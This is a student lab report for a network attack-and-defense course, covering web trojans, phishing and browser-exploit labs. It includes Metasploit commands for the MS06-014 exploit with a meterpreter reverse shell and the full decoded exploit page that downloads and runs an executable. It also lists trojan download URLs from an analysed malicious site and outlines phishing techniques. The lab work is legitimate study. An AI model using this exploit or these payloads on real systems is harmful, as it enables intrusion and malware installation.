这个作业属于哪个课程 | 《网络攻防实践》 |
---|---|
这个作业的要求在哪里 | 网络攻防第十二周作业 |
我在这个课程的目标是 | 学习WEB安全领域面临的问题和威胁,并学习防护的方法 |
这个作业在哪个具体方面帮助我实现目标 | 学习网页木马的原理、钓鱼网站的原理,并完成相应的实践 |
作业正文 | 见作业 |
其他参考文献 | 见文末 |
一.实践内容
(一)Web浏览器的技术发展与安全威胁
1.Web浏览器战争与技术发展
- 浏览器战争:一共有三次,分别是网景和微软争夺市场份额;第二次是微软的IE浏览器与众多浏览器如火狐、谷歌等的大战;第三次是移动端的浏览器之争。
2.Web浏览器的基本结构与机理:现代浏览器基本机理如图所示,需要支持各种应用层吸引的Stream流接受与解析,并维护DOM对象模型结构。除了在内核引擎中实现符合各种标准的基本功能和特性之外,还采用扩展机制允许第三方的一些插件,以提升浏览器软件功能的丰富性。还通过各种客户端脚本执行环境、独立沙箱运行环境和虚拟机,来支持构造具有桌面应用程序特性的应用。
3.Web浏览器的安全问题与威胁:
- 现代浏览器的源代码数量超过了100万行,复杂性意味着更多的安全错误和安全缺陷,也就导致浏览器中存在大量的安全漏洞。
- Web浏览器安全威胁的位置:
- 针对传输网络的网络协议安全威胁:网络是连接web应用服务端与客户端浏览器环境的媒介,同样web浏览器面临此类威胁。
- 针对web浏览器系统平台的安全威胁:桌面操作系统所存在的安全漏洞使得web浏览器环境存在被攻击的风险。
- 针对web浏览器软件及插件的渗透攻击的威胁:通过在桌面植入恶意木马程序来窃取信息。
- 针对互联网用户的社会工程学攻击:典型的攻击如网络钓鱼。
(二)web浏览端的渗透攻击威胁——网页木马
1.网页木马产生背景:是从恶意网页脚本所孕育和发展出来的。
-
由黑客地下经济链来驱动,有以下六种不同的参与者
-
网页木马存在的技术基础:使网页木马持续存在的另一个原因是web浏览器安全漏洞,提供了必要的技术条件。
- 所攻击的安全漏洞存在位置非常多样化;
- 出了利用操作系统平台本身的软件外,近年也发掘和利用其它流行应用软件中存在的漏洞;
- 一些影响范围广的漏洞会被持续利用。
2.机理分析
-
定义:网页木马是对web浏览器软件进行客户端渗透攻击的一类恶意移动代码,通常用脚本语言JavaScript、VBScript实现,或以Flash、PDF等恶意构造的文件形式存在。
-
机理分析与理解:网页木马攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问木马页面,与传统的服务器端渗透攻击主动进行网络扫描不同,在获得客户端远程计算机的远程代码执行权限后为进一步主机控制和窃取敏感信息,要植入一些盗号木马类型的恶意程序,因此较传统网页渗透攻击复杂。
-
本质:浏览器渗透攻击,例如MS06-014安全漏洞,利用该空间CreatObject()方法创建的ActiveX控件无法确保能够进行安全的交互,导致远程的代码执行漏洞,成功的利用这个漏洞的攻击者可以完全的控制受影响的系统。图中通过RDS.DataSpace对象来创建XMLHTTP对象来下载远程恶意程序,并利用DataSpace漏洞,由Adodb.Stream对象绕过应有的安全控制将下载文件流写入到文件系统指定位置,并利用同样的漏洞创建Shell.Application对象绕过安全控制直接激活已保存在文件系统中的恶意程序。
-
网页挂马机制:为了使得有终端用户使他们可能存在安全漏洞的web浏览端软件来访问网页木马,攻击者还需要将网页木马挂到拥有客户访问流量的网站页面上。主要有以下四种:
- 内嵌HTML标签:最常用的网页挂马内嵌标签为iframe,其功能是在页面中创建一个内嵌的框架,用于包含和显示其他文档页面。当包含页面被打开时,被包含的页面也同时会被请求并显示在内嵌框架之中,攻击者便可利用这功能嵌入木马,其他标签还有frame、body等。
- 恶意Script脚本:利用了script脚本标签通过外部引用的方式来包含木马。
- 内嵌对象链接:利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载。
- ARP欺骗挂马:这种方法不需要真正地攻陷目标网站,在攻击安全防护严密的拥有大量访问用户的著名网站时非常有效,在同一以太网段内,攻击者通过ARP欺骗方法就可以进行中间人攻击,劫持所有目标网站出入的网络流量,并在目标网站的HTML反馈包中注入任意恶意脚本。
-
混淆机制:除了引入中间跳转节点进行嵌套连接,网页木马攻击还采用大量的混淆技术,来对抗反病毒软件的检测。
3.网页木马检测与分析技术:主要有以下几种。
- 基于特征匹配的传统检测方法:该方法受到网页木马普遍采用的防护技术,而很难发现所挂接的网页木马。
- 基于统计与机器学习的静态分析:该方法实际上对木马所采用的代码混淆或隐藏内嵌连接的特征进行检测。
- 基于动态行为结果判定的检测方法:该方法利用网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性,通过构建包含典型web访问浏览器及应用软件环境,根据访问过程中是否触发了新的进程、文件系统修改等非预期变化,以判定当前访问页面中是否被挂接了网页木马。
- 基于模拟浏览器的动态分析检测:该方法以脚本执行引擎为核心,通过模拟实现DOM模型、页面解析与渲染,该类方法的工具有The Honeynet Project的PHoneyC、UCSB的JSAND系统及提供wepawet在线分析服务。
- 分析技术综合对比:也是主要分为静态分析和动态分析两种,近年提出的基于动态分析检测的方法在应对脚本语言特有的混淆变形机制,恢复网页木马原始形态方面取得良好效果。
5.防范措施
- 提升操作系统与浏览器的安全性;借助安全评估工具的帮助,避免访问安全性不高的网站。
(三)网络钓鱼
1.网络钓鱼技术概述:是社会工程学在互联网中广泛实施的典型工具方式,通过大量发送声称来自于银行或其他机构的欺骗性邮件,意图收信人给出个人敏感信息(如用户名、口令、账号ID等)
- 起源与发展:早期时候的钓鱼攻击都是单独行动,或组织较小,现在的钓鱼者首选策略是通过发送大量诱骗邮件或信息,冒充成一个可信任的机构,去引诱尽可能多的用户。
- 中国的钓鱼攻击:攻击者发送的大量欺骗性邮件,即使只有少部分人被欺骗,也达到了攻击者的目的,钓鱼网站所使用的域名与真实的网站域名只有很少的区别,很容易被忽略。中国的QQ等即时通讯软件也会被用作攻击的手段。例如“恭喜中奖”类钓鱼欺诈,冒仿央视节目的抽奖网站等。攻击者还可窃取QQ账号然后对好友进行钓鱼。
2.技术内幕
-
在攻陷的服务器上钓鱼,普遍的技术流程
- 攻击者扫描网段,寻找存有漏洞的服务器;
- 服务器被攻陷,安装一个Rootkit或口令保护的后门工具;
- 攻击者从加密到后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行网站搭建配置与测试工作,获得线上运行;
- 攻击者下载群发电子邮件工具。大规模散发包含钓鱼网站消息的垃圾邮件;
- 网页浏览的流量到达钓鱼网站,潜在受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人信息,攻击者可通过服务器后台脚本收集敏感信息。
-
攻击技术策略通常有以下几种:
- 在指向假冒网站的连接中使用IP地址代替域名,无戒备心的用户不会检查这个IP是否来自锁声称的机构。
- 注册发音相近或形似的DNS域名,并在上面架设假冒的网站。
- 在电子邮件HTML内容中嵌入一些指向真实的目标网站链接,从而使得用户的网站浏览器大多数HTTP链接指向真实的目标网站,而仅有少数的关键链接(如提交敏感信息的页面)指向假冒的网站。
- 对假冒网站的URL进行编码和混淆,IDN欺骗技术会使地址栏里看起来像是真实的网址,但实际上却指向一个完全不同的地址。
- 企图攻击用户网页浏览器存在的漏洞,使之隐藏消息的实质。
- 架设一个假冒网站,作为目标机构真实网站的代理,并偷偷记录未使用SSL加密保护的口令信息。
- 通过恶意代码在受害机上装一个浏览器助手工具,然后将其受害者重定向到假冒的钓鱼网站。
-
通过“钱骡子”的资金转账:跨国资金转账会被银行监控,钓鱼者便以“支付代理”、“资金转账代理”等名义,以非常吸引人的转账支付报酬来吸引“钱骡子”,钓鱼者先从受害者银行账号中把钱转移到同一国家的“钱骡子”银行账号中,然后再把资金提现通过普通地面信件寄给钓鱼者。
3.网络钓鱼的防范措施
- 在未经核准的情况下,不要轻易相信并打开邮件中的链接;对中奖、优惠、紧急态度各种名义索取个人敏感信息的邮件要保持怀疑态度。
- 充分利用软件所提供的反钓鱼网站功能特性,对钓鱼网站的警告提示与举报功能。
- 在登陆网上银行、证券基金等关键网站进行金融操作时,务必重视网站的真实性,对网上银行异常动态提高警惕,如在陌生网址输入账号和密码,应立即拨打有关客服热线进行确认。
- 学习和修炼提升自己抵抗社会工程学攻击的能力。
二.实践过程
实践一:Web浏览器渗透攻击实验
任务:使用攻击机和靶机进行浏览器渗透攻击实验,体验网页木马构造和实施浏览器攻击过程。
- 采用kali虚拟机为攻击机
192.168.200.3
,地址也作为恶意服务器的地址,WindowsXP为靶机192.168.200.124
,首先打开exploit软件,输入use exploit/windows/browser/ie_createobject
设定MS06-014渗透攻击模块。
- 输入
set LHOST 192.168.200.3
设置恶意服务器地址;输入set PAYLOAD windows/meterpreter/reverse_tcp
设置攻击载荷为远程shell连接。
- 然后实施攻击,可发现已建立了恶意服务器。
- 在靶机上访问这个恶意连接,发现返回一串字母;再在攻击端检查一下,一个到靶机的session被建立起来。
实践二:剖析网页木马攻击场景
任务:根据给出的说明逐步分析,得到最终的木马文件的内容。
说明:这个挂马网站现在已经无法访问了,但蜜网课题组的成员保留了最初做分析时所有的原始文件。首先你应该访问start.html,在这个文件中给出了 new09.htm 的地址,在进入 new09.htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/目录下去下载对应的文件(注意:文件名中的英文字母 为小写, 且没有扩展名),即为解密出的地址对应的文件。如果解密出的地址给出的是网页或脚本文件,请继续解密。如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。 重复以上过程直到这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的 URL 形式,形如 http://xx.18dd.net/a/b.htm,否则会导致散列值计算不正确而无法继续。
-
试述你是如何一步步地从所给的网页中获取最后的真实代码的?
-
网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
-
从解密后的结果来看,攻击者利用了那些系统漏洞?
-
解密后发现了多少个可执行文件?其作用是什么?
-
这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?
-
材料中没有题目中的start.html文件,因此使用软件分析new09.htm也就做不了;视频中的分析软件FreShow jimmyleo下载需要付费,看懂了一点点分析原理,先把我会做的做着试试看吧。首先给出要用的木马代码的框架。
-
再对其进行分析,需要先从挂马网站上下载.htm文件,分析其中跳转的网页后下载的可执行文件,文件中已给出这些木马文件的种类,直接对其进行分析,首先查看一下
1.js
文件的代码,十六进制解密后,发现这个文件前面部分下载了一个http://down.18dd.net/bb/014.exe
的可执行文件,后面部分是对 ADODB 漏洞的继续利用。
-
然后看一下
b.js
文件,使用火狐浏览器->F12->进入控制台进行解密。发现出现 了shellcode二进制执行代码,如果Shellcode不是很长的话,他可能就是一个下载器,间接地构成破坏;下载的话就会有要下载内容的URL,参考资料URL中比如出现/
,ASCII码值是2F。
-
将最后一个
2f
的地方解密后得到://down.18dd.net/bb/bf.exe
。没有协议名很奇怪,再多解密一些得到http://down.18dd.net/bb/bf.exe
-
接着看一下pps.js,是八进制加密的,火狐浏览器控制台很给力,像上面的方法解密后得到,又出现了shellcode,得到他的可执行文件路径
http://down.18dd.net/bb/pps.exe
。
-
到目前出现了四个可执行文件分别是
014.exe
,bf.exe
,pps.exe
,bd.exe
。通过上面的分析有下载器,植入了很多的可执行文件。这些文件都是木马程序,刚开始的时候在主机上解密压缩包,很快触发安全软件的报警,足足有19个木马程序。
实践三: Web浏览器渗透攻击对抗实验
-
任务:攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。 -
重复第一个攻击,在靶机端可点击查看->原文件,获取攻击页面的代码;也可使用wireshark跟踪tcp流。
-
整理后看到如下代码:
< html >
< head >
< title >
< /title><script language="javascript">
function xwMBtqubtDcpfrYQgDNsgPIehC(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function KWPWXQLEXUuXllChgdvklEPSJqfeXs(a){var s=xwMBtqubtDcpfrYQgDNsgPIehC(a,"WScript.Shell");var o=xwMBtqubtDcpfrYQgDNsgPIehC(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload
';var xml=null;var bin=e.Item("TEMP")+"\sqRen.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function VqWuNIhSKHprDdHMQi(){var i=0;var t=new Array(' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
}
',' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
}
',' {
7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
',' {
6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
',' {
6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
',' {
06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
',' {
639F725F - 1B2D - 4831 - A9FD - 874847682010
}
',' {
BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
}
',' {
D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
}
',' {
E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
}
',' {
AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
}
',' {
0006F033 - 0000 - 0000 - C000 - 000000000046
}
',' {
0006F03A - 0000 - 0000 - C000 - 000000000046
}
',null);
while(t[i]){var a=null;if(t[i].substring(0,1)==' {
'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=xwMBtqubtDcpfrYQgDNsgPIehC(a,"WScript.Shell");if(b){KWPWXQLEXUuXllChgdvklEPSJqfeXs(a);return(0)}}catch(e){}}i++}}
</script>
</head>
<body onload='VqWuNIhSKHprDdHMQi()'>
hYOf
</body>
</html>
- 这个源代码最后面有个数组,已经被分割成一个一个字符的样子,合起来极其麻烦,但只要找到该数组的前几个字母,搜索一下可知是攻击ms06-014,通过js代码分析可以查到攻击机利用了MS06-014漏洞进行攻击。
实践四:Web浏览器遭遇攻击、取证分析
任务:通过分析给的网络记录文件,回答下列问题:
列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
列出IP地址、主机名、域名,猜测攻击场景的环境配置。
列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
请给出攻击者执行攻击动作的概要描述。
攻击者引入了哪些技巧带来了困难。
攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
shellcode执行了哪些操作?比较他们之间MD5的差异?
在攻击场景中有二进制可执行代码参与吗?目的是什么?
- 首先我们下载chaosreader软件到kali虚拟机中,将要分析的suspicious-time.pcap文件拷贝到chaosreader目录下,使用命令
./chaosreader suspicious-time.pcap
读取这个文件,发现了有HTTP、ICMP、Bootps、Netbios、DNS的应用层协议,http协议非常多,是针对http协议的攻击。
- 输入如下指令可以查询有哪些IP地址和域名在进行攻击,下面的指令就是选取之前生成的.http.html文件读取,筛选主机并列出来。通过图片可以看到,通信用户有rapidshare.com.eyu32.ru 对应
192.168.56.50
,sploitme.com.cn对应192.168.56.50
,shop.honeynet.sg对应192.168.56.51
。
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http: ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http: ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host: ' | sort -u | sed -e 's/Host: //g'`;echo "$srcip --> $dstip = $host"; done | sort
-
下面就是确定这是安装在什么环境了,我们利用指令列出 netbios 主机名和工作组,发现都是一样,所以应该是配置在虚拟机下面的。
-
通过Wireshark查看所有的访问的Web界面,然后主要是找出哪些是恶意的js脚本,主要目的是什么?在过滤栏中输入
http
。
-
1.请给出攻击者执行攻击动作的概要描述。
- 攻击者将javascript代码注入指向
sploitme.com.cn/?click=x
; - 访问者浏览这些页面时被重定向到恶意界面;
- 该代码又能尝试在受害主机中下载执行文件;
- 攻击者将javascript代码注入指向
-
2.攻击者引入的技巧有:网页中的js代码使用了简单的编码和加密进行混淆;包含恶意代码的界面伪装成看起来像出错的界面,让分析者难以察觉;攻击者发送的漏洞是针对受害者使用浏览器而变化的;不允许一个客户端多次访问,都给分析带来了困难。
-
3.针对的操作系统,应用软件和漏洞有:针对WindowsXP系统、主要攻击IE浏览器漏洞。可以通过修补操作系统和应用程序、定期更新杀毒软件来防止攻击。
-
4.Shellcode执行的操作有:获取系统临时文件路径、加载urlmon.dll然后执行。
-
5.攻击场景中有二进制执行代码吗?有二进制可执行代码的参与,目的是使客户端从恶意软件分发网络服务器下载可执行文件在本地执行。
三.学习中遇到的问题及解决
- 问题1:网页木马的分析方法的原理还不是很懂
- 问题1解决方案:反复看资料,上网查找
- 问题1:对第四个实践分析部分都不是很懂
- 问题1解决方案:还未解决
四.实践总结
- 本次实践,因为第一、二个实践有视频教程、参考资料也比较丰富,所以能理解地多一些;剩下两个不知道该如何下手,可能学的知识还比较少吧。